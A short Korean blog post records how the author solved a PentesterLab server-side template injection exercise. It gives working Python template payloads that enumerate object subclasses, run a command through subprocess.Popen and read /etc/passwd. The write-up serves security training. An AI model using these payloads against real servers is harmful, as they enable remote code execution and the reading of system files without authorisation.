[PentesterLab] SSTI

쥬스몬·2022년 3월 14일
0

PentesterLab

목록 보기
9/20

PentesterLab의 SSTI 문제에 대한 접근 방법을 기록

SSTI(Server Side Template Injection) 공격은 서버측의 기본 템플릿 구문을 이용하여 악성 페이로드를 삽입하여 전달할 경우 서버 측에서 실행되면서 생기는 취약점이다.

바로 SSTI 문제로 들어가보도록하겠다. 페이지에 접근하면 SSTI를 통해 코드를 실행시키는 문제로 설명한다.

따로 유저로부터 데이터를 입력받는 부분이 보이지않아 URI에 SSTI 국룰을 입력해보니 코드가 실행되어 7*7인 49가 출력되었다.

이제 여기서 할 수 있는 행동은 함수 목록을 나열하는것이다.
{{''.__class__.mro()[0].__subclasses__()}} - Empty

{{''.__class__.mro()[1].__subclasses__()}} - 코드 실행할만한 함수가 없음

{{''.__class__.mro()[2].__subclasses__()}} - WOW!🤩

확인해보니 해당 배열의 233번째에 있는 값이 subprocess.Popen 함수로 해당 함수는 인자로 전달되는 파일을 실행하여 프로세스를 생성할 수 있는 함수이다.

결과적으로 실행해야될 코드는 다음과 같다 (BINGO!)
Popen(['id'], shell=True, stdout=-1).communicate()

이렇게 템플릿에서 함수들을 열거 후 사용할 수 있으며, 아래와 같이 파일을 읽는 방법도 존재한다.
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글